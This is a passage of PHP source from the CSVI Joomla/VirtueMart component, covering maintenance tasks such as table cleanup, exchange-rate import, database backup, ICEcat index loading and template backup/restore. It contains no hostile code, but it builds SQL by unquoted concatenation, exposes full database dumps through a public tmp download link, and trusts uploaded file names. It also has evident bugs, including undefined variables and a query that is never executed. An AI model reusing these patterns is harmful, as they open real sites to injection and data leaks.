if ($db->query()) $csvilog->AddStats('empty', JText::sprintf('COM_CSVI_CATEGORY_LANGUAGE_TABLE_HAS_BEEN_EMPTIED', $language)); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_LANGUAGE_TABLE_HAS_NOT_BEEN_EMPTIED', $language)); } } $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_category_categories`;"; $db->setQuery($q); $csvilog->addDebug('Empty category link table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_CATEGORY_LINK_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_LINK_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_category_medias`;"; $db->setQuery($q); $csvilog->addDebug('Empty category medias table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_CATEGORY_MEDIAS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED')); // Get the lowest manufacturer ID $q = "SELECT MIN(virtuemart_manufacturer_id) AS mf_id FROM ".$db->quoteName('#__virtuemart_manufacturers'); $db->setQuery($q); $mf_id = $db->loadResult(); // Delete anything higher than the lowest ID $csvilog->setLinenumber($linenumber++); $q = "DELETE FROM `#__virtuemart_manufacturers` WHERE virtuemart_manufacturer_id > ".$mf_id; $db->setQuery($q); $csvilog->addDebug('Empty manufacturer table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_MANUFACTURER_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MANUFACTURER_TABLE_HAS_NOT_BEEN_EMPTIED')); // Optimize the table $csvilog->setLinenumber($linenumber++); $q = "OPTIMIZE TABLE ".$db->quoteName('#__virtuemart_manufacturers'); $db->setQuery($q); if ($db->query()) $csvilog->AddStats('information', JText::_('COM_CSVI_MANUFACTURER_TABLE_HAS_BEEN_OPTIMIZED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MANUFACTURER_TABLE_HAS_NOT_BEEN_OPTIMIZED')); // Reset the auto increment $csvilog->setLinenumber($linenumber++); $q = "ALTER TABLE ".$db->quoteName('#__virtuemart_manufacturers')." AUTO_INCREMENT = ".($mf_id+1); if ($db->query()) $csvilog->AddStats('information', JText::_('COM_CSVI_MANUFACTURER_AUTO_INCREMENT_RESET')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MANUFACTURER_AUTO_INCREMENT_NOT_RESET')); // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); return true; } /** * Optimize CSVI VirtueMart and VirtueMart tables * * @todo clean up messages */ public function getOptimizeTables() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; $tables = $db->getTableList(); foreach ($tables as $id => $tablename) { $csvilog->setLinenumber($linenumber++); $q = "OPTIMIZE TABLE ".$tablename; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('information', JText::sprintf('COM_CSVI_TABLE_HAS_BEEN_OPTIMIZED', $tablename)); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_TABLE_HAS_NOT_BEEN_OPTIMIZED', $tablename)); } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); return true; } /** * Add exchange rates * The eurofxref-daily.xml file is updated daily between 14:15 and 15:00 CET * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getExchangeRates() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; // Read eurofxref-daily.xml file in memory $XMLContent= file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml"); // Process the file if ($XMLContent) { // Empty table $q = "TRUNCATE TABLE `#__csvi_currency`;"; $db->setQuery($q); $db->query(); // Add the Euro $q = "INSERT INTO #__csvi_currency (currency_code, currency_rate) VALUES ('EUR', 1)"; $db->setQuery($q); $db->query(); $currencyCode = array(); $rate = array(); foreach ($XMLContent as $line) { if (preg_match("/currency='([[:alpha:]]+)'/",$line,$currencyCode)) { if (preg_match("/rate='([[:graph:]]+)'/",$line,$rate)) { $csvilog->setLinenumber($linenumber++); $q = "INSERT INTO #__csvi_currency (currency_code, currency_rate) VALUES (".$db->Quote($currencyCode[1]).", ".$rate[1].")"; $db->setQuery($q); if ($db->query()) { $rate_name = 'COM_CSVI_EXCHANGE_RATE_'.$currencyCode[1].'_ADDED'; $csvilog->AddStats('added', JText::_($rate_name)); } else $csvilog->AddStats('incorrect', JText::_($rate_name)); } } } } else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_LOAD_EXCHANGERATE_FILE')); // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); } /** * Remove all categories that have no products * Parent categories are only deleted if there are no more children left * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getRemoveEmptyCategories() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $this->getCategoryTreeModule(); $catpaths = $jinput->get('categorypaths', array(), 'array'); arsort($this->_catlevels); foreach ($this->_catlevels as $catid => $nrlevels) { // Check if there are any products in the category $db->setQuery($this->getCatQuery($catid)); if ($db->loadResult() > 0 && array_key_exists($catid, $catpaths)) { foreach ($catpaths[$catid] as $key => $level) { unset($catpaths[$level]); unset($this->_catlevels[$level]); } unset($catpaths[$catid]); unset($this->_catlevels[$catid]); } else { if (array_key_exists($catid, $catpaths)) { foreach ($catpaths[$catid] as $key => $level) { $db->setQuery($this->getCatQuery($level)); if ($db->loadResult() > 0) { unset($catpaths[$level]); unset($this->_catlevels[$level]); } } } } } $delcats = array_keys($catpaths); if (!empty($delcats)) { // Remove all categories except the ones we have $q = "DELETE FROM #__vm_category WHERE category_id IN (".implode(', ', $delcats).")"; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('deleted', JText::_('COM_CSVI_MAINTENANCE_CATEGORIES_DELETED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MAINTENANCE_CATEGORIES_NOT_DELETED')); // Remove all category parent-child relations except the ones we have $q = "DELETE FROM #__vm_category_xref WHERE category_child_id IN (".implode(', ', $delcats).")"; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('deleted', JText::_('COM_CSVI_MAINTENANCE_CATEGORIES_XREF_DELETED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MAINTENANCE_CATEGORIES_XREF_NOT_DELETED')); } else $csvilog->AddStats('information', JText::_('COM_CSVI_NO_CATEGORIES_FOUND')); } /** * Construct a query to count the number of references to a category * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return string the query to count entries in a category * @since 3.0 */ private function getCatQuery($catid) { return "SELECT COUNT(*) FROM #__vm_product_category_xref WHERE category_id = ".$catid; } /** * Clean the CSVI cache * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getCleanTemp() { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $folder = CSVIPATH_TMP; if (JFolder::exists($folder)) { // Delete all import files left behind in the folder JFile::delete(JFolder::files($folder, '.', false, true)); // Delete all import folders left behind in the folder $folders = array(); $folders = JFolder::folders($folder, '.', true, true, array('debug')); if (!empty($folders)) { foreach ($folders as $path) { JFolder::delete($path); } } // Load the files if (JFolder::exists(CSVIPATH_DEBUG)) { $files = JFolder::files(CSVIPATH_DEBUG, '.', false, true); if ($files) { // Remove any debug logs that are still there but not in the database $q = "SELECT CONCAT(".$db->Quote(CSVIPATH_DEBUG.'/com_csvi.log.').", import_id, '.php') AS filename FROM #__csvi_logs WHERE import_id > 0 GROUP BY import_id"; $db->setQuery($q); $ids = $db->loadResultArray(); if (!is_array($ids)) $ids = (array)$ids; // Delete all obsolete files JFile::delete(array_diff($files, $ids)); } } $csvilog->AddStats('deleted', JText::_('COM_CSVI_TEMP_CLEANED')); } else $csvilog->AddStats('information', JText::_('COM_CSVI_TEMP_PATH_NOT_FOUND')); } /** * Export all VirtueMart tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getBackupVirtueMart() { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $filepath = JPATH_SITE.'/tmp/com_csvi'; $filename = 'virtuemart_'.time().'.sql'; $file = $filepath.'/'.$filename; $sqlstring = ''; $fp = fopen($file, "w+"); if ($fp) { // Load a list of VirtueMart tables $q = "SHOW TABLES LIKE '".$db->getPrefix()."virtuemart\_%'"; $db->setQuery($q); $tables = $db->loadResultArray(); $linenumber = 1; foreach ($tables as $table) { $csvilog->setLinenumber($linenumber); // Get the create table statement $q = "SHOW CREATE TABLE ".$table; $db->setQuery($q); $tcreate = $db->loadAssocList(); $sqlstring .= "-- Table structure for table ".$db->quoteName($table)."\n\n"; $sqlstring .= $tcreate[0]['Create Table'].";\n\n"; // Check if there is any data in the table $q = "SELECT COUNT(*) FROM ".$db->quoteName($table); $db->setQuery($q); $count = $db->loadResult(); if ($count > 0) { $sqlstring .= "-- Data for table ".$db->quoteName($table)."\n\n"; // Get the field names $q = "SHOW COLUMNS FROM ".$db->quoteName($table); $db->setQuery($q); $fields = $db->loadObjectList(); $sqlstring .= 'INSERT INTO '.$db->quoteName($table).' ('; foreach ($fields as $field) { $sqlstring .= $db->quoteName($field->Field).','; } $sqlstring = substr(trim($sqlstring), 0, -1).") VALUES \n"; $start = 0; while ($count > 0) { $q = "SELECT * FROM ".$table." LIMIT ".$start.", 50"; $db->setQuery($q); $records = $db->loadAssocList(); // Add the values foreach ($records as $record) { foreach ($record as $rkey => $value) { if (!is_numeric($value)) $record[$rkey] = $db->Quote($value); else $record[$rkey] = $value; } $sqlstring .= '('.implode(',', $record)."),\n"; } $start += 50; $count -= 50; // Fix the end of the query if ($count < 1) $sqlstring = substr(trim($sqlstring), 0, -1).";\n"; // Add a linebreak $sqlstring .= "\n\n"; // Write the data to the file fwrite($fp, $sqlstring); // Empty the string $sqlstring = ''; } // Update the log $csvilog->AddStats('added', JText::sprintf('COM_CSVI_BACKUP_COMPLETE_FOR', $table)); $linenumber++; } } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); // Zip up the file jimport('joomla.filesystem.archive'); $zip = JArchive::getAdapter('zip'); $files = array(); $files[] = array('name' => $filename, 'time' => filemtime($file), 'data' => JFile::read($file)); if ($zip->create($filepath.'/'.$filename.'.zip', $files)) { // Close the file fclose($fp); // Remove the SQL file JFile::delete($file); // Add a download link for the backup $csvilog->setFilename(JHTML::link(JURI::root().'tmp/com_csvi/'.$filename.'.zip', JText::_('COM_CSVI_BACKUP_DOWNLOAD_LINK'))); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_BACKUP_NO_ZIP_CREATE')); $csvilog->setFilename($filepath.'/'.$filename); } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_COULD_NOT_OPEN_FILE', $file)); } } /** * This function is repsonsible for returning an array containing category information * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 2.3.6 */ private function getCategoryTreeModule() { $database = JFactory::getDBO(); // Get all categories $query = "SELECT category_child_id AS cid, category_parent_id AS pid FROM #__vm_category, #__vm_category_xref WHERE #__vm_category.category_id=#__vm_category_xref.category_child_id"; // Execute the query $database->setQuery( $query ); $records = $database->loadObjectList(); // Check if there are any records if (count($records[0]) == 0) { $this->_categories = false; return false; } else { $this->_categories = array(); // Group all categories together according to their level foreach( $records as $id => $record ) { $this->_categories[$record->pid][$record->cid]["category_id"] = $record->pid; $this->_categories[$record->pid][$record->cid]["category_child_id"] = $record->cid; } } $this->CategoryPaths(); } /** * Create an array of subcategories per category * * @author RolandD * @since 2.3.6 * @access private */ private function CategoryPaths() { $catpath = array(); krsort($this->_categories); foreach ($this->_categories as $pid => $categories) { foreach ($categories as $cid => $category) { $catpath[$cid] = $pid; } } foreach ($catpath as $cid => $value) { $catlevel = $value; $this->_catpaths[$cid][] = $catlevel; while ($catlevel > 0) { $this->_catpaths[$cid][] = $catpath[$catlevel]; $catlevel = $catpath[$catlevel]; } } foreach ($this->_catpaths as $cid => $paths) { $this->_catlevels[$cid] = count($paths); } asort($this->_catlevels); $jinput->set('categorypaths', $this->_catpaths); } /** * Load the ICEcat index file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true if index file is loaded | false if index file is not loaded * @since 3.0 */ public function getIcecatIndex() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $settings = $jinput->get('settings', null, null); $username = $settings->get('icecat.ice_username', false); $password = $settings->get('icecat.ice_password', false); $loadremote_index = false; $loadremote_supplier = false; $icecat_options = $jinput->get('icecat', array(), null); if (in_array('icecat_index', $icecat_options)) $load_index = true; else $load_index = false; if (in_array('icecat_supplier', $icecat_options)) $load_supplier = true; else $load_supplier = false; // Should we load the index file in 1 go $loadtype = JRequest::getBool('loadtype'); // What to do next? $result = 'full'; // Check if we have a username and password if ($username && $password) { // Joomla includes jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.archive'); // Check if the files are stored on the server $location = JRequest::getVar('icecatlocation'); if ($load_index) { if (JFile::exists($location.'/icecat_index')) $icecat_index_file = $location.'/icecat_index'; else if (JFile::exists($location.'/icecat_index.gzip')) $icecat_index_file = $location.'/icecat_index.gzip'; else if (JFile::exists($location.'/icecat_index.zip')) $icecat_index_file = $location.'/icecat_index.zip'; else $loadremote_index = true; } if ($load_supplier) { if (JFile::exists($location.'/icecat_supplier')) $icecat_supplier_file = $location.'/icecat_supplier'; else if (JFile::exists($location.'/icecat_supplier.gzip')) $icecat_supplier_file = $location.'/icecat_supplier.gzip'; else if (JFile::exists($location.'/icecat_supplier.zip')) $icecat_supplier_file = $location.'/icecat_supplier.zip'; else $loadremote_supplier = true; } // Load the remote files if needed if ($loadremote_index || $loadremote_supplier) { // Context for retrieving files if (JRequest::getBool('icecat_gzip')) $gzip = "Accept-Encoding: gzip\r\n"; else $gzip = ''; $context = stream_context_create(array( 'http' => array( 'header' => "Authorization: Basic " . base64_encode($username.':'.$password)."\r\n". $gzip ) )); if ($load_index && $loadremote_index) { // ICEcat index file $icecat_url = $settings->get('icecat.ice_index', 'http://data.icecat.biz/export/freexml.int/INT/files.index.csv'); // Load the index file from the ICEcat server to a local file $icecat_index_file = CSVIPATH_TMP.'/icecat_index'; if (JRequest::getBool('icecat_gzip')) $icecat_index_file .= '.gzip'; $fp_url = fopen($icecat_url, 'r', false, $context); $fp_local = fopen($icecat_index_file, 'w+'); while($content = fread($fp_url,1024536)){ fwrite($fp_local, $content); } fclose($fp_url); fclose($fp_local); } if ($load_supplier && $loadremote_supplier) { // Load the manufacturer data $icecat_mf = $settings->get('icecat.ice_supplier', 'http://data.icecat.biz/export/freexml.int/INT/supplier_mapping.xml'); // Load the index file from the ICEcat server to a local file $icecat_supplier_file = CSVIPATH_TMP.'/icecat_supplier'; if (JRequest::getBool('icecat_gzip')) $icecat_supplier_file .= '.gzip'; $fp_url = fopen($icecat_mf, 'r', false, $context); $fp_local = fopen($icecat_supplier_file, 'w+'); while($content = fread($fp_url,1024536)){ fwrite($fp_local, $content); } fclose($fp_url); fclose($fp_local); } } // Check if we need to unpack the files if ($load_index) { if (substr($icecat_index_file, -3) == 'zip') { if (!$this->_unpack($icecat_index_file, CSVIPATH_TMP)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_ICECAT_INDEX_NOT_UNPACKED')); return 'cancel'; } else $icecat_index_file = CSVIPATH_TMP.'/icecat_index'; } } if ($load_supplier) { if (substr($icecat_supplier_file, -3) == 'zip') { if (!$this->_unpack($icecat_supplier_file, CSVIPATH_TMP)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_ICECAT_SUPPLIER_NOT_UNPACKED')); return 'cancel'; } else $icecat_supplier_file = CSVIPATH_TMP.'/icecat_supplier'; } } if ($load_index) { // Empty the index table $q = "TRUNCATE TABLE ".$db->quoteName('#__csvi_icecat_index'); $db->setQuery($q); $db->query(); // Load the local file into the database if (!$loadtype) { $q = "LOAD DATA LOCAL INFILE ".$db->Quote($icecat_index_file)." INTO TABLE ".$db->quoteName('#__csvi_icecat_index')." IGNORE 1 LINES"; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('added', JText::_('COM_CSVI_ICECAT_INDEX_LOADED')); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ICECAT_INDEX_NOT_LOADED', $db->getErrorMsg())); } else { // Need to redirect for the batch import $result = 'single'; } } if ($load_supplier) { // Empty the supplier table $q = "TRUNCATE TABLE ".$db->quoteName('#__csvi_icecat_suppliers'); $db->setQuery($q); $db->query(); // Reset the supplier file $xmlstr = file_get_contents($icecat_supplier_file); $xml = new SimpleXMLElement($xmlstr); $supplier_data = array(); foreach ($xml->SupplierMappings->children() as $key => $mapping) { foreach ($mapping->attributes() as $attr_name => $attr_value) { switch($attr_name) { case 'supplier_id': $supplier_id = $attr_value; break; case 'name': $supplier_data[] = '('.$db->Quote($supplier_id).','.$db->Quote($attr_value).')'; } } foreach ($mapping->children() as $symbol) { $supplier_data[] = '('.$db->Quote($supplier_id).','.$db->Quote($symbol).')'; } } $q = "INSERT IGNORE INTO ".$db->quoteName('#__csvi_icecat_suppliers')." VALUES ".implode(',', $supplier_data); $db->setQuery($q); if ($db->query()) $csvilog->AddStats('added', JText::_('COM_CSVI_ICECAT_SUPPLIERS_LOADED')); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ICECAT_SUPPLIERS_NOT_LOADED', $db->getErrorMsg())); } } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_ICECAT_NO_USER_PASS')); } // See if we need to store some info if ($loadtype) { // Session init $session = JFactory::getSession(); $option = JRequest::getVar('option'); $session->set($option.'.csvilog', serialize($csvilog)); $session->set($option.'.icecat_index_file', serialize($icecat_index_file)); $session->set($option.'.icecat_records', serialize(JRequest::getInt('icecat_records'))); $session->set($option.'.icecat_wait', serialize(JRequest::getInt('icecat_wait'))); } return $result; } /** * Load the ICEcat index in batches * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function getIcecatSingle() { $jinput = JFactory::getApplication()->input; // Session init $session = JFactory::getSession(); $option = $jinput->get('option'); $csvilog = unserialize($session->get($option.'.csvilog')); $icecat_index_file = unserialize($session->get($option.'.icecat_index_file')); $totalrow = unserialize($session->get($option.'.icecat_rows')); $records = unserialize($session->get($option.'.icecat_records', 1000)); $finished = false; $continue = true; // Sleep to please the server sleep(unserialize($session->get($option.'.icecat_wait', 5))); // Load the records line by line $db = JFactory::getDBO(); $q = "INSERT INTO `#__csvi_icecat_index` (`path`, `product_id`, `updated`, `quality`, `supplier_id`, `prod_id`, `catid`, `m_prod_id`, `ean_upc`, `on_market`, `country_market`, `model_name`, `product_view`, `high_pic`, `high_pic_size`, `high_pic_width`, `high_pic_height`, `m_supplier_id`, `m_supplier_name`) VALUES "; $lines = ''; if (($handle = fopen($icecat_index_file, "r")) !== FALSE) { // Position pointers $row = 0; // Position file pointer $pointer = unserialize($session->get($option.'.icecat_position')); fseek($handle, $pointer); // Start processing while ($continue) { if ($row < $records) { $data = fgetcsv($handle, 1024, "\t"); if ($data) { $row++; $lines .= '('; foreach ($data as $item) { $lines .= $db->Quote($item).','; } $lines = substr($lines, 0, -1); $lines .= '),'; } else { $finished = true; $continue = false; } } else $continue = false; } // Store the data $lines = substr($lines, 0, -1); $db->setQuery($q.$lines); $db->query(); // Information for reload $jinput->set('finished', $finished); $sumrows = $totalrow+$row; $jinput->set('linesprocessed', $sumrows); // Store for future use if (!$finished) { $session->set($option.'.csvilog', serialize($csvilog)); $session->set($option.'.icecat_rows', serialize($sumrows)); $session->set($option.'.icecat_position', serialize(ftell($handle))); } else { $csvilog->AddStats('added', JText::_('COM_CSVI_ICECAT_INDEX_LOADED')); // Store the log results $jinput->set('csvilog', $csvilog); $this->getFinishProcess(); // Clear the session $session->set($option.'.icecat_index_file', serialize('0')); $session->set($option.'.icecat_rows', serialize('0')); $session->set($option.'.icecat_position', serialize('0')); $session->set($option.'.icecat_records', serialize('0')); $session->set($option.'.icecat_wait', serialize('0')); $session->set($option.'.csvilog', serialize('0')); // Set the run ID $jinput->set('run_id', $csvilog->getId()); } fclose($handle); } } /** * Unpack the ICEcat index files * * @copyright * @author RolandD * @todo * @see * @access private * @param string $archivename the full path and name of the file to extract * @param string $extractdir the folder to copy the extracted file to * @return bool true on success | false on failure * @since 3.0 */ private function _unpack($archivename, $extractdir) { $adapter = JArchive::getAdapter('gzip'); if ($adapter) { $config = JFactory::getConfig(); $tmpfname = $config->getValue('config.tmp_path').'/'.uniqid('gzip'); $gzresult = $adapter->extract($archivename, $tmpfname); if (JError::isError($gzresult)) { @unlink($tmpfname); return false; } $path = JPath::clean($extractdir); JFolder::create($path); $result = JFile::copy($tmpfname,$path.'/'.JFile::stripExt(basename(strtolower($archivename)))); @unlink($tmpfname); } return true; } /** * Backup templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getBackupTemplates() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; // Create the backup file $filepath = JPATH_SITE.$jinput->get('backup_location', '/tmp/com_csvi', 'string'); $filename = 'csvi_templates_'.date('Ymd', time()).'.csv'; $file = JPath::clean($filepath.'/'.$filename, '/'); $fp = fopen($file, "w+"); if ($fp) { $db->setQuery("SELECT ".$db->quoteName('name').", ".$db->quoteName('settings')." FROM #__csvi_template_settings"); $templates = $db->loadAssocList(); foreach ($templates as $template) { $csvilog->setLinenumber($linenumber++); if (fputcsv($fp, $template)) $csvilog->AddStats('information', JText::sprintf('COM_CSVI_BACKUP_TEMPLATE', $template['name'])); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_BACKUP_NO_TEMPLATE', $template['name'])); } fclose($fp); $csvilog->AddStats('information', JText::sprintf('COM_CSVI_BACKUP_TEMPLATE_PATH', $file)); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_COULD_NOT_OPEN_FILE', $file)); } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); } /** * Restore templates * * @copyright * @author RolandD * @todo Remove JRequest once jinput can handle files * @see * @access public * @param * @return * @since 3.0 */ public function getRestoreTemplates() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; jimport('joomla.filesystem.file'); // Load the restore file $upload = JRequest::getVar('restore_file', '', 'files'); if (empty($upload) || $upload['error'] > 0) $upload = JRequest::getVar('file', '', 'files'); // Check if the file upload has an error if (empty($upload)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_UPLOADED_FILE_PROVIDED')); return false; } else if ($upload['error'] == 0) { if (is_uploaded_file($upload['tmp_name'])) { // Get some basic info $folder = CSVIPATH_TMP.'/'.time(); $upload_parts = pathinfo($upload['name']); // Create the temp folder if (JFolder::create($folder)) { $this->folder = $folder; // Move the uploaded file to its temp location if (JFile::upload($upload['tmp_name'], $folder.'/'.$upload['name'])) { // Read the uploaded file $fp = fopen($folder.'/'.$upload['name'], "r"); if ($fp) { while (($data = fgetcsv($fp, 0, ",")) !== FALSE) { $csvilog->setLinenumber($linenumber++); $db->setQuery("INSERT IGNORE INTO #__csvi_template_settings (".$db->quoteName('name').", ".$db->quoteName('settings').") VALUES (".$db->Quote($data[0]).", ".$db->Quote($data[1]).")"); if ($db->query()) { $csvilog->AddStats('added', JText::sprintf('COM_CSVI_RESTORE_TEMPLATE', $data[0])); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_RESTORE_TEMPLATE', $data[0])); $csvilog->AddStats('incorrect', $db->getQuery()); } } fclose($fp); } } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_UNPACK_FOLDER', $folder)); return false; } } // Error warning cannot save uploaded file else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_UPLOADED_FILE_PROVIDED', $upload['tmp_name'])); return false; } } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); } /** * Unpublish products in unpublished categories * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function getUnpublishProductByCategory() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('p').'.'.$db->quoteName('virtuemart_product_id')); $query->from($db->quoteName('#__virtuemart_products').' AS p'); $query->innerJoin($db->quoteName('#__virtuemart_product_categories').' AS pc ON '.$db->quoteName('p').'.'.$db->quoteName('virtuemart_product_id').' = '.$db->quoteName('pc').'.'.$db->quoteName('virtuemart_product_id')); $query->innerJoin($db->quoteName('#__virtuemart_categories').' AS c ON '.$db->quoteName('pc').'.'.$db->quoteName('virtuemart_category_id').' = '.$db->quoteName('c').'.'.$db->quoteName('virtuemart_category_id')); $query->where($db->quoteName('p').'.'.$db->quoteName('published').' = '.$db->quote('1')); $query->where($db->quoteName('c').'.'.$db->quoteName('published').' = '.$db->quote('0')); // Get the IDs to unpublish $q = "SELECT #__vm_product.product_id FROM #__vm_product INNER JOIN #__vm_product_category_xref ON #__vm_product.product_id = #__vm_product_category_xref.product_id INNER JOIN #__vm_category ON #__vm_product_category_xref.category_id = #__vm_category.category_id WHERE #__vm_product.product_publish = 'Y' AND #__vm_category.category_publish = 'N'"; $db->setQuery($query); $ids = $db->loadResultArray(); if (!empty($ids)) { // Unpublish the IDs $query = $db->getQuery(true); $query->update($db->quoteName('#__virtuemart_products')); $query->set($db->quoteName('published').' = '.$db->quote('0')); $query->where($db->quoteName('virtuemart_product_id').' IN ('.implode(',', $ids).')'); $q = "UPDATE #__vm_product SET product_publish = 'N' WHERE product_id IN (".implode(',', $ids).")"; $db->setQuery($query); if ($db->query()) { $csvilog->AddStats('updated', JText::sprintf('COM_CSVI_PRODUCTS_UNPUBLISHED', $db->getAffectedRows())); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCTS_NOT_UNPUBLISHED', $db->getErrorMsg())); } } else $csvilog->AddStats('information', JText::_('COM_CSVI_PRODUCTS_NOT_FOUND')); } /** * Get a list of available components * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getComponents() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('component AS value, component AS text'); $query->from($db->quoteName('#__csvi_template_types')); $query->leftJoin('#__extensions ON #__csvi_template_types.component = #__extensions.element'); $query->where('#__extensions.type = '.$db->Quote('component')); $query->group('component'); $db->setQuery($query); $components = $db->loadObjectList(); $options = JHtml::_('select.option', '', JText::_('COM_CSVI_MAKE_CHOICE'), 'value', 'text', true); array_unshift($components, $options); return $components; } /** * Sorts all VirtueMart categories in alphabetical order * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true if categories are sorted | false if an error occured * @since 3.0 */ public function getSortCategories() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $language = $jinput->get('language'); $linenumber = 1; // Check if the table exists $tables = $db->getTableList(); if (!in_array($db->getPrefix().'virtuemart_categories_'.$language, $tables)) { $csvilog->AddStats('information', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $language)); } else { // Get all categories $query = $db->getQuery(true); $query->select('LOWER('.$db->quoteName('category_name').') AS '.$db->quoteName('category_name')); $query->select($db->quoteName('category_child_id').' AS '.$db->quoteName('cid')); $query->select($db->quoteName('category_parent_id').' AS '.$db->quoteName('pid')); $query->from($db->quoteName('#__virtuemart_categories').' AS '.$db->quoteName('c')); $query->leftJoin($db->quoteName('#__virtuemart_category_categories').' AS '.$db->quoteName('cc').' ON '.$db->quoteName('c').'.'.$db->quoteName('virtuemart_category_id').' = '.$db->quoteName('cc').'.'.$db->quoteName('category_child_id')); $query->leftJoin($db->quoteName('#__virtuemart_categories_'.$language).' AS '.$db->quoteName('cl').' ON '.$db->quoteName('cc').'.'.$db->quoteName('category_child_id').' = '.$db->quoteName('cl').'.'.$db->quoteName('virtuemart_category_id')); // Execute the query $db->setQuery($query); $records = $db->loadObjectList(); if (count($records) > 0) { $categories = array(); // Group all categories together according to their level foreach ($records as $key => $record) { $categories[$record->pid][$record->cid] = $record->category_name; } // Sort the categories and store the item list foreach ($categories as $id => $category) { asort($category); $listorder = 1; foreach ($category as $category_id => $category_name) { // Store the new sort order $query = $db->getQuery(true); $query->update($db->quoteName('#__virtuemart_categories')); $query->set($db->quoteName('ordering').' = '.$db->quote($listorder)); $query->where($db->quoteName('virtuemart_category_id').' = '.$db->quote($category_id)); $db->setQuery($query); $db->query(); // Set the line number $csvilog->setLinenumber($linenumber++); $csvilog->AddStats('information', JText::sprintf('COM_CSVI_SAVED_CATEGORY', $category_name ,$listorder)); $listorder++; } } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); } else $csvilog->AddStats('information', 'COM_CSVI_NO_CATEGORIES_FOUND'); } return true; } /** * Create a list of maintenance options * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available options * @since 4.0 */ public function getMaintenanceOptions() { $options = array(); $options[] = 